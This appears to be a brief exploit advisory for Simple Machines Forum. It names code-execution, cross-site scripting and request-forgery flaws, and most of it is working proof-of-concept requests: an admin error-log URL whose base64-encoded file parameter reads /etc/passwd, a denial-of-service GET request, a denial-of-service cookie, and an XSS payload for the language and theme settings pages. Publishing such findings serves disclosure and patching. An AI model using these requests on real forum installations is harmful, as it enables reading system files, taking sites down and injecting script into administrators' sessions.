Simple Machines Forum is prone to multiple security vulnerabilities:
 
- A remote PHP code-execution vulnerability
- Multiple cross-site scripting vulnerabilities
- Multiple cross-site request-forgery vulnerabilities

http://server/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==
 
For denial-of-service issue:
GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1
 
For denial-of-service issue (cookie):
Cookie: GLOBALS
 
For cross-site scripting issues:
http://server/index.php?action=admin;area=languages;sa=add;[token]
PoC: "><xss>
 
http://server/index.php?action=admin;area=theme;sa=settings;th=2;[token]
